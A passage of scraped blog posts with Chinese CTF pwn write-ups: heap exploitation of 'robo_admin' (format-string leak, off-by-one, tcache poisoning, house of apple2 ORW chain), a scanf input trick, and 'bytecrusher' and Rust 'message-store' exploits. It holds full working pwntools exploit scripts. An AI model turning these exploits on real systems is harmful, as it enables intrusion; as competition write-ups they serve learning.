syscall_ret ]) fake_io = flat({ 0x0: 0, 0x10: \u0026#39;/flag\\x00\u0026#39;, 0x28: libc.sym[\u0026#39;setcontext\u0026#39;] + 0x3d, 0x30: read_rop_chain, 0x70: stderr + 0x30, # RSP 0X78: pop_rdi_ret, # RIP 0x88: stderr, 0xA0: stderr - 0x30, 0xB0: stderr - 0x40, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] }, filler=b\u0026#34;\\x00\u0026#34; ) login(b\u0026#39;AAA0\u0026#39;, b\u0026#39;BBB\u0026#39;) writemail(len(fake_io), fake_io) logout() login(b\u0026#39;\\x00\u0026#39;, b\u0026#39;\\x00\u0026#39;) user2user(1, -3, 1) admin_logout() myexit() orw_rop_chain = flat([ pop_rax_ret, 2, pop_rdi_ret, stderr + 0x10, syscall_ret,\t# open(\u0026#34;/flag\u0026#34;) pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, stderr + 0x100, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret,\t# read(3, buf, 0x100) pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, stderr + 0x100, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret\t# write(1, buf, 0x100) ]) #gdb.attach(io) io.sendlineafter(b\u0026#39;Goodbye!\\n\u0026#39;, orw_rop_chain) io.interactive() attack() 区域决赛 robo_admin 呜呜呜我好菜啊比赛时怎么做不出来呜呜呜\nchecksec 1 2 3 4 5 6 7 8 [*] \u0026#39;/home/RatherHard/CTF-pwn/ccsssc/robo_admin/题目附件/robo_admin\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled IDA mystart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 __int64 mystart() { int v0; // eax char nptr[8]; // [rsp+0h] [rbp-20h] BYREF __int64 v3; // [rsp+8h] [rbp-18h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); seccomp(); clear(); pwdgen(); puts(\u0026#34;Robo Admin Service\u0026#34;); while ( 1 ) { puts(\u0026#34;\\n=== Main Menu ===\u0026#34;); puts(\u0026#34;1. set notice\u0026#34;); puts(\u0026#34;2. show status\u0026#34;); puts(\u0026#34;3. admin login\u0026#34;); puts(\u0026#34;4. exit\u0026#34;); puts(\u0026#34;\u0026gt; \u0026#34;); *(_QWORD *)nptr = 0; v3 = 0; myread(nptr, 16); v0 = atoi(nptr); if ( v0 == 4 ) break; if ( v0 \u0026gt; 4 ) goto LABEL_13; switch ( v0 ) { case 3: judger = admin_judge(); if ( judger ) admin_panel(); break; case 1: setnotice(); break; case 2: showstatus(); break; default: LABEL_13: puts(\u0026#34;[X] invalid\u0026#34;); break; } } puts(\u0026#34;bye\u0026#34;); return 0; } 菜单题\nseccomp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 seccomp() { __int64 v1; // [rsp+8h] [rbp-8h] v1 = seccomp_init(2147418112); if ( !v1 ) _exit(1); if ( (unsigned int)seccomp_rule_add(v1, 0, 2, 0) ) _exit(1); if ( (unsigned int)seccomp_rule_add(v1, 0, 59, 0) ) _exit(1); if ( (unsigned int)seccomp_rule_add(v1, 0, 322, 0) ) _exit(1); if ( (unsigned int)seccomp_load(v1) ) _exit(1); return seccomp_release(v1); } 禁用了 open 和 execve ，可以用 openat\nsetnotice 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 setnotice() { _QWORD src[32]; // [rsp+0h] [rbp-310h] BYREF char s[8]; // [rsp+100h] [rbp-210h] BYREF __int64 v3; // [rsp+108h] [rbp-208h] _BYTE v4[496]; // [rsp+110h] [rbp-200h] BYREF unsigned __int64 v5; // [rsp+308h] [rbp-8h] v5 = __readfsqword(0x28u); *(_QWORD *)s = 0; v3 = 0; memset(v4, 0, sizeof(v4)); memset(src, 0, sizeof(src)); myread(s, 512); if ( strchr(s, 37) || strchr(s, 36) ) { puts(\u0026#34;[X] raw input contains illegal chars\u0026#34;); } else if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD *, __int64))decode)(s, src, 256) ) { puts(\u0026#34;[X] decode failed\u0026#34;); } else { memcpy(notice, src, sizeof(notice)); byte_52BF = 0; ntc_tag = 1; puts(\u0026#34;[+] notice updated\u0026#34;); } return v5 - __readfsqword(0x28u); } 禁止明文出现 \u0026lsquo;%\u0026rsquo; 和 \u0026lsquo;$\u0026rsquo; ，防止直接的格式化字符串攻击\ndecode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall decode(__int64 a1, __int64 a2, unsigned __int64 a3) { __int64 v4; // rax __int64 v5; // rax int v7; // [rsp+20h] [rbp-18h] int v8; // [rsp+24h] [rbp-14h] __int64 v9; // [rsp+28h] [rbp-10h] __int64 i; // [rsp+30h] [rbp-8h] v9 = 0; for ( i = 0; *(_BYTE *)(a1 + i); ++i ) { if ( a3 \u0026lt;= v9 + 1 ) return 0xFFFFFFFFLL; if ( *(_BYTE *)(a1 + i) == 92 \u0026amp;\u0026amp; *(_BYTE *)(i + 1 + a1) == 120 ) { v7 = decodechr((unsigned int)*(char *)(i + 2 + a1)); v8 = decodechr((unsigned int)*(char *)(i + 3 + a1)); if ( v7 \u0026lt; 0 || v8 \u0026lt; 0 ) return 0xFFFFFFFFLL; v4 = v9++; *(_BYTE *)(a2 + v4) = v8 | (16 * v7); i += 3; } else { v5 = v9++; *(_BYTE *)(v5 + a2) = *(_BYTE *)(a1 + i); } } *(_BYTE *)(a2 + v9) = 0; return 0; } 解码器没有对格式化字符串的校验，可以利用这一点绕过前面的明文校验\nshowstatus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 unsigned __int64 __fastcall showstatus(__int64 a1, __int64 a2) { __int64 v2; // rdx __int64 v3; // rcx __int64 v4; // r8 __int64 v5; // r9 __int64 v7; // [rsp+0h] [rbp-40h] __int64 v8; // [rsp+8h] [rbp-38h] _QWORD v9[2]; // [rsp+10h] [rbp-30h] BYREF __int64 v10; // [rsp+20h] [rbp-20h] __int64 v11; // [rsp+28h] [rbp-18h] unsigned __int64 v12; // [rsp+38h] [rbp-8h] v12 = __readfsqword(0x28u); v7 = pwd1; v8 = pwd2; strcpy((char *)v9, \u0026#34;STACK_ANCHOR\u0026#34;); BYTE5(v9[1]) = 0; HIWORD(v9[1]) = 0; v10 = 0; v11 = 0; puts(\u0026#34;=== Robo Admin Status ===\u0026#34;); puts(\u0026#34;Robot core: online\u0026#34;); puts(\u0026#34;Task queue: healthy\u0026#34;); printf(\u0026#34;Notice: \u0026#34;); if ( ntc_tag ) { if ( once ) { printf(\u0026#34;%s\u0026#34;, notice); } else { once = 1; printf(notice, a2, v2, v3, v4, v5, v7, v8, v9[0], v9[1], v10, v11); } puts(\u0026amp;whatelf); } else { puts(\u0026#34;(empty)\u0026#34;); } return v12 - __readfsqword(0x28u); } 有一次格式化字符串利用机会，可以泄露管理员密码和 libc 地址，然后获得进入管理员面板的权限\nadmin_panel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 unsigned __int64 admin_panel() { char nptr[8]; // [rsp+0h] [rbp-20h] BYREF __int64 v2; // [rsp+8h] [rbp-18h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); while ( 1 ) { puts(\u0026#34;\\n=== Task Menu ===\u0026#34;); puts(\u0026#34;1. create\u0026#34;); puts(\u0026#34;2. edit\u0026#34;); puts(\u0026#34;3. query\u0026#34;); puts(\u0026#34;4. list\u0026#34;); puts(\u0026#34;5. delete\u0026#34;); puts(\u0026#34;6. logout\u0026#34;); puts(\u0026#34;\u0026gt; \u0026#34;); *(_QWORD *)nptr = 0; v2 = 0; myread(nptr, 16); switch ( atoi(nptr) ) { case 1: create(); break; case 2: edit(); break; case 3: query(); break; case 4: list(); break; case 5: delete(); break; case 6: return v3 - __readfsqword(0x28u); default: puts(\u0026#34;[X] invalid\u0026#34;); break; } } } 经典菜单堆题\ncreate 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int create() { size_t v0; // rax __int64 v1; // rax unsigned int v3; // [rsp+4h] [rbp-Ch] size_t size; // [rsp+8h] [rbp-8h] LODWORD(v0) = readidx(); v3 = v0; if ( (v0 \u0026amp; 0x80000000) == 0LL ) { if ( taskalive[(int)v0] ) { LODWORD(v0) = puts(\u0026#34;[X] slot used\u0026#34;); } else { memset((char *)\u0026amp;task_name + 24 * (int)v0, 0, 0x18u); puts(\u0026#34;Task name:\u0026#34;); v1 = (__int64)taskname_getptr(v3); myread((void *)v1, 16); v0 = readnum(\u0026#34;Desc size:\u0026#34;, 24, 0x200); size = v0; if ( v0 ) { task_desc[v3] = malloc(v0); if ( task_desc[v3] ) { memset((void *)task_desc[v3], 0, size); task_size[v3] = size; *(_QWORD *)taskname_getptr_0x10(v3) = 0; taskalive[v3] = 1; LODWORD(v0) = puts(\u0026#34;[+] task created\u0026#34;); } else { LODWORD(v0) = puts(\u0026#34;[X] malloc failed\u0026#34;); } } } } return v0; } 可申请大小 200 以内任意 chunk ，同时可控 7 个 chunk\nedit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int edit() { __int64 v0; // rax unsigned __int64 v1; // r12 ssize_t v2; // rbx ssize_t *v3; // rax unsigned int v5; // [rsp+Ch] [rbp-24h] size_t nbytes; // [rsp+10h] [rbp-20h] ssize_t v7; // [rsp+18h] [rbp-18h] LODWORD(v0) = readidx(); v5 = v0; if ( (int)v0 \u0026gt;= 0 ) { if ( taskalive[(int)v0] ) { v0 = readnum(\u0026#34;Write length :\u0026#34;, 1, task_size[(int)v0] + 1LL); nbytes = v0; if ( v0 ) { puts(\u0026#34;New desc bytes:\u0026#34;); v7 = read(0, *((void **)\u0026amp;task_desc + (int)v5), nbytes); if ( v7 \u0026gt; 0 ) { if ( task_size[v5] \u0026lt;= (unsigned __int64)v7 ) { if ( task_size[v5] ) *(_BYTE *)(*((_QWORD *)\u0026amp;task_desc + (int)v5) + task_size[v5] - 1LL) = 0; } else { *(_BYTE *)(*((_QWORD *)\u0026amp;task_desc + (int)v5) + v7) = 0; } v1 = task_size[v5]; v2 = v7; v3 = (ssize_t *)taskname_getptr_0x10(v5); if ( v1 \u0026lt;= v7 ) v2 = v1; *v3 = v2; LODWORD(v0) = puts(\u0026#34;[+] task updated\u0026#34;); } else { LODWORD(v0) = puts(\u0026#34;[X] read failed\u0026#34;); } } } else { LODWORD(v0) = puts(\u0026#34;[X] empty\u0026#34;); } } return v0; } 发现 off-by-one 漏洞，然后写入的内容末尾会补一个 \u0026lsquo;\\x00\u0026rsquo; ，阻挠进一步的泄露\ndelete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int delete() { int result; // eax int v1; // [rsp+Ch] [rbp-4h] result = readidx(); v1 = result; if ( result \u0026gt;= 0 ) { if ( taskalive[result] ) { free((void *)task_desc[result]); task_desc[v1] = 0; task_size[v1] = 0; memset((char *)\u0026amp;task_name + 24 * v1, 0, 0x18u); taskalive[v1] = 0; return puts(\u0026#34;[+] deleted\u0026#34;); } else { return puts(\u0026#34;[X] empty\u0026#34;); } } return result; } 没有 UAF\n攻击思路 利用格式化字符串获取管理员权限后，就是 off-by-one 的利用了\n准备三个相邻 chunk A, B, C ，从低地址到高地址排列\n利用 A 的 off-by-one 漏洞使 B 恰好包括住 C ，然后 free 掉 B 使之进入 unsortedbin\n申请原来的 B 的大小的 chunk ，使 unsortedbin 剩下 lastremainder C ，然后再申请 C 的大小，这样就获得了两个指向同一个 chunk 的堆指针\n最后 free 掉其中一个指针，就可以达成 UAF 的效果，leak heap 后用 tcache poisoning 打 house of apple2 写 orw 链即可\n不过 chunk 的大小还要精心选择一波，在开始利用之前需要做一下堆风水使 B 能进入 unsortedbin\n吐槽一下这初始的堆环境是有够恶劣的。。。\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./robo_admin_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) def encoder(text): result = str() for i in text: if i == \u0026#39;%\u0026#39; or i == \u0026#39;$\u0026#39;: result += \u0026#39;\\\\\u0026#39; + hex(ord(i))[1:] else: result += i return result.encode() def safelinking(pos, ptr): return (pos \u0026gt;\u0026gt; 12) ^ ptr def decodenext(x): a = x for _ in range(12): x = a ^ (x \u0026gt;\u0026gt; 12) return x def setnotice(notice): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;1\u0026#39;) s(notice) def showstatus(): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;2\u0026#39;) def admin_login(pwd): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;3\u0026#39;) sa(b\u0026#39;Token:\\n\u0026#39;, b\u0026#39;ROBOADMIN\u0026#39;) sa(b\u0026#39;Password (32 hex):\\n\u0026#39;, pwd) def exit(): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;4\u0026#39;) def createtask(idx, name, size): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;1\u0026#39;) sla(b\u0026#39;Index:\\n\u0026#39;, str(idx).encode()) sa(b\u0026#39;name:\\n\u0026#39;, name) sla(b\u0026#39;size:\\n\u0026#39;, str(size).encode()) def edittask(idx, length, content): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;2\u0026#39;) sla(b\u0026#39;Index:\\n\u0026#39;, str(idx).encode()) sa(b\u0026#39;length :\\n\u0026#39;, str(length).encode()) sla(b\u0026#39;bytes:\\n\u0026#39;, content) def querytask(idx): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;3\u0026#39;) sla(b\u0026#39;Index:\\n\u0026#39;, str(idx).encode()) def deletetask(idx): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;5\u0026#39;) sla(b\u0026#39;Index:\\n\u0026#39;, str(idx).encode()) def logout(): sla(b\u0026#39;\u0026gt; \\n\u0026#39;, b\u0026#39;6\u0026#39;) setnotice(encoder(\u0026#39;%6$016p%7$016p%23$p\u0026#39;)) # leak pwd, libc showstatus() ru(b\u0026#39;Notice: \u0026#39;) r(2) pwd = r(16) r(2) pwd += r(16) r(2) libc.address = int(r(12).decode(\u0026#39;utf-8\u0026#39;), 16) - 0x29d90 leak(\u0026#39;libc.address\u0026#39;) admin_login(pwd) createtask(0, b\u0026#39;WWW\u0026#39;, 0x48) # init_chunk createtask(1, b\u0026#39;WWW\u0026#39;, 0x48) createtask(2, b\u0026#39;WWW\u0026#39;, 0x48) deletetask(0) deletetask(1) deletetask(2) for i in range(7): # fill tcache createtask(i, str(i).encode(), 0x1d8) for i in range(7): deletetask(i) createtask(0, b\u0026#39;AAA\u0026#39;, 0xd8) # build overlap createtask(1, b\u0026#39;AAA\u0026#39;, 0xf8) createtask(2, b\u0026#39;AAA\u0026#39;, 0xd8) createtask(3, b\u0026#39;AAA\u0026#39;, 0xd8) payload = b\u0026#39;A\u0026#39; * 0xd8 + b\u0026#39;\\xe1\u0026#39; edittask(0, 0xd9, payload) deletetask(1) createtask(1, b\u0026#39;AAA\u0026#39;, 0xf8) deletetask(1) createtask(1, b\u0026#39;AAA\u0026#39;, 0xd8) deletetask(3) deletetask(1) querytask(2) # leak heap ru(b\u0026#39; =\u0026gt; \u0026#39;) heap = decodenext(uu64(r(6))) - 0x2940 leak(\u0026#39;heap\u0026#39;) payload = p64(safelinking(heap + 0x2000, heap + 0xf0)) # tcache poisoning edittask(2, 0x8, payload) createtask(3, b\u0026#39;AAA\u0026#39;, 0xd8) createtask(4, b\u0026#39;AAA\u0026#39;, 0xd8) stderr = libc.symbols[\u0026#39;_IO_2_1_stderr_\u0026#39;] payload = p64(stderr) + p64(stderr) edittask(4, 0x16, payload) createtask(6, b\u0026#39;BBB\u0026#39;, 0xe0) # house of apple2 fake_io = flat({ 0x0: 0, 0x10: b\u0026#39;flag\\x00\u0026#39;, 0x28: libc.sym[\u0026#39;setcontext\u0026#39;] + 0x3d, 0x38: 0, # RDI 0x40: stderr + 0x20, # RSI 0x58: 0x400, # RDX 0x70: stderr + 0x20, # RSP 0X78: libc.sym[\u0026#39;read\u0026#39;], # RIP 0x88: stderr, 0xA0: stderr - 0x30, # __rdx__ 0xB0: stderr - 0x40, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] }, filler=b\u0026#34;\\x00\u0026#34; ) edittask(6, 0xe0, fake_io) logout() exit() pop_rax_ret = libc.address + 0x45eb0 pop_rdi_ret = libc.address + 0x2a3e5 pop_rsi_ret = libc.address + 0x2be51 pop_rdx_pop_r12_ret = libc.address + 0x11f367 syscall_ret = libc.address + 0x91316 rop_chain = flat([ pop_rax_ret, 257, pop_rdi_ret, -100, pop_rsi_ret, stderr + 0x10, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret,\t# openat(-100, \u0026#34;flag\u0026#34;, 0) pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, stderr + 0x400, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret,\t# read(3, buf, 0x100) pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, stderr + 0x400, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret\t# write(1, buf, 0x100) ]) sla(b\u0026#39;bye\u0026#39;, rop_chain) itr() # 0x0000000000045eb0: pop rax; ret; # 0x000000000002a3e5: pop rdi; ret; # 0x000000000002be51: pop rsi; ret; # 0x000000000011f367: pop rdx; pop r12; ret; # 0x0000000000091316: syscall; ret; ","date":"2026-03-25T14:04:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/contest/ccsssc-2026-pwn-wp/","title":"CCSSSC-2026-pwn 题解"},{"content":"示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 void free_trial() { char input_buf[32]; char crushed[32]; for (int i=0; i\u0026lt;16; i++) { printf(\u0026#34;Enter a string to crush:\\n\u0026#34;); fgets(input_buf, sizeof(input_buf), stdin); printf(\u0026#34;Enter crush rate:\\n\u0026#34;); int rate; scanf(\u0026#34;%d\u0026#34;, \u0026amp;rate); if (rate \u0026lt; 1) { printf(\u0026#34;Invalid crush rate, using default of 1.\\n\u0026#34;); rate = 1; } printf(\u0026#34;Enter output length:\\n\u0026#34;); int output_len; scanf(\u0026#34;%d\u0026#34;, \u0026amp;output_len); if (output_len \u0026gt; sizeof(crushed)) { printf(\u0026#34;Output length too large, using max size.\\n\u0026#34;); output_len = sizeof(crushed); } crush_string(input_buf, crushed, rate, output_len); printf(\u0026#34;Crushed string:\\n\u0026#34;); puts(crushed); } } 在本地与这段代码交互时，由于 scanf(\u0026quot;%d\u0026quot;, ...); 有一个机制：遇到非数字自动截断，并将数字后面的部分保留在缓冲区中供下一次输入使用，这样如果直接使用 sendline 发送数据的话， fgets 会被跳过（scanf 不会被跳过，因为 %d 会跳过前导空白字符去读取数字）\n为了避免这种情况发生，我们可以在发送 scanf 所需的数字后面直接加上要发送给 fgets 的数据，这样一来可以在依次 sendline 中通过两个读入函数\n关于缓冲区的更多知识还有待学习www\n","date":"2026-03-10T13:34:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/piggyback/","title":"Piggyback 输入流复用技巧"},{"content":"bytecrusher checksec code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; void admin_portal() { puts(\u0026#34;Welcome dicegang admin!\u0026#34;); FILE *f = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (f) { char read; while ((read = fgetc(f)) != EOF) { putchar(read); } fclose(f); } else { puts(\u0026#34;flag file not found\u0026#34;); } } void crush_string(char *input, char *output, int rate, int output_max_len) { if (rate \u0026lt; 1) rate = 1; int out_idx = 0; for (int i = 0; input[i] != \u0026#39;\\0\u0026#39; \u0026amp;\u0026amp; out_idx \u0026lt; output_max_len - 1; i += rate) { output[out_idx++] = input[i]; } output[out_idx] = \u0026#39;\\0\u0026#39;; } void free_trial() { char input_buf[32]; char crushed[32]; for (int i=0; i\u0026lt;16; i++) { printf(\u0026#34;Enter a string to crush:\\n\u0026#34;); fgets(input_buf, sizeof(input_buf), stdin); printf(\u0026#34;Enter crush rate:\\n\u0026#34;); int rate; scanf(\u0026#34;%d\u0026#34;, \u0026amp;rate); if (rate \u0026lt; 1) { printf(\u0026#34;Invalid crush rate, using default of 1.\\n\u0026#34;); rate = 1; } printf(\u0026#34;Enter output length:\\n\u0026#34;); int output_len; scanf(\u0026#34;%d\u0026#34;, \u0026amp;output_len); if (output_len \u0026gt; sizeof(crushed)) { printf(\u0026#34;Output length too large, using max size.\\n\u0026#34;); output_len = sizeof(crushed); } crush_string(input_buf, crushed, rate, output_len); printf(\u0026#34;Crushed string:\\n\u0026#34;); puts(crushed); } } void get_feedback() { char buf[16]; printf(\u0026#34;Enter some text:\\n\u0026#34;); gets(buf); printf(\u0026#34;Your feedback has been recorded and totally not thrown away.\\n\u0026#34;); } #define COMPILE_ADMIN_MODE 0 int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf(\u0026#34;Welcome to ByteCrusher, dicegang\u0026#39;s new proprietary text crusher!\\n\u0026#34;); printf(\u0026#34;We are happy to offer sixteen free trials of our premium service.\\n\u0026#34;); free_trial(); get_feedback(); printf(\u0026#34;\\nThank you for trying ByteCrusher! We hope you enjoyed it.\\n\u0026#34;); if (COMPILE_ADMIN_MODE) { admin_portal(); } return 0; } 有越界写，通过选择合适的 rates 可以逐字节泄露 canary 和 pie ，毕竟至少有 16 字节的泄露机会\n然后在栈溢出上 ret2text 即可\n比较棘手的是本地打需要 Piggyback 技巧，但打远端不用\n这比赛还有个神秘的 PoW ，爆破什么的不大现实\nIDA free_trial get_feedback exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./bytecrusher_patched\u0026#39;) else: io = remote(\u0026#39;bytecrusher.chals.dicec.tf\u0026#39;, 1337) canary_rates = [0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f] pie_rates = [0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d] libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def crush(rate, output_len): io.sendlineafter(b\u0026#39;crush:\\n\u0026#39;, b\u0026#39;A\u0026#39;) io.sendlineafter(b\u0026#39;rate:\\n\u0026#39;, str(rate).encode()) io.sendlineafter(b\u0026#39;length:\\n\u0026#39;, str(output_len).encode()) def attack(): canary = b\u0026#39;\\x00\u0026#39; for i in canary_rates: crush(i, 3) io.recvuntil(b\u0026#34;string:\\nA\u0026#34;) canary += io.recv(1) canary = u64(canary) log.info(f\u0026#39;canary = {hex(canary)}\u0026#39;) pie = b\u0026#39;\u0026#39; for i in pie_rates: crush(i, 3) io.recvuntil(b\u0026#34;string:\\nA\u0026#34;) pie += io.recv(1) pie = u64(pie.ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x15EC log.info(f\u0026#39;pie = {hex(pie)}\u0026#39;) for _ in range(3): crush(1, 3) payload = b\u0026#39;A\u0026#39; * 0x18 + p64(canary) + p64(0) + p64(pie + 0x12AD) io.sendlineafter(b\u0026#39;text:\\n\u0026#39;, payload) io.interactive() io.recvuntil(b\u0026#34;proof of work:\\n\u0026#34;) pow_cmd = io.recvline().decode(\u0026#39;utf-8\u0026#39;).strip() io.recvuntil(b\u0026#34;solution: \u0026#34;) result = subprocess.check_output(pow_cmd, shell=True).decode(\u0026#39;utf-8\u0026#39;).strip() io.sendline(result.encode()) attack() message-store checksec IDA main 入口\nset_message 允许写入 BUFFER\nset_message_color 设置 color\nprint_message 没有校验 COLOR 的大小，存在数组越界写，可以执行函数指针，只要提前往 BUFFER 写入即可\n需要注意 from_utf8_lossy\nfrom_utf8_lossy from_utf8_lossy 是 Rust 标准库中用于处理可能包含无效 UTF-8 序列的字节数据‌ 的方法，其核心特点是 ‌“有损但保证成功”‌\nfrom_utf8_lossy ‌行为‌： 若字节序列是有效 UTF-8‌ ，直接借用为 \u0026amp;str ，不分配内存‌ 若遇到无效 UTF-8 字节‌，用 Unicode 替换字符 ‌�（U+FFFD）替换，并返回一个‌新分配的 String‌\nBUFFER 攻击思路 利用数组越界写执行函数指针，由于 rax 在执行函数指针时为 from_utf8_lossy 的返回值，结合 xchg rsp, rax; ret; 可以去执行 BUFFER 上布置的 ROP 链，\n但是这需要使 BUFFER 上布置的 ROP 链所使用的字节满足 UTF-8 规范：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1字节： 00–7F 2字节： C2–DF 80–BF 3字节： E0 A0–BF 80–BF E1–EC 80–BF 80–BF ED 80–9F 80–BF EE–EF 80–BF 80–BF 4字节： F0 90–BF 80–BF 80–BF F1–F3 80–BF 80–BF 80–BF F4 80–8F 80–BF 80–BF 然后去筛选 gadgets 打 ret2syscall\n不过中间还需要布置 /bin/sh ，在 BUFFER 上布置然后传给 rdi 的地址不可能满足 1 字节 UTF-8 规范，但是可以满足 2 字节 UTF-8 规范： 0x2F9FD0 （小端序）\nrust pwn 直接逆向比较困难，结合 动态分析 / fuzz 去推测漏洞点是很好的技巧\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 if debug: io = process(\u0026#39;./challenge\u0026#39;) else: io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 26980) def send_message(meesage): io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, 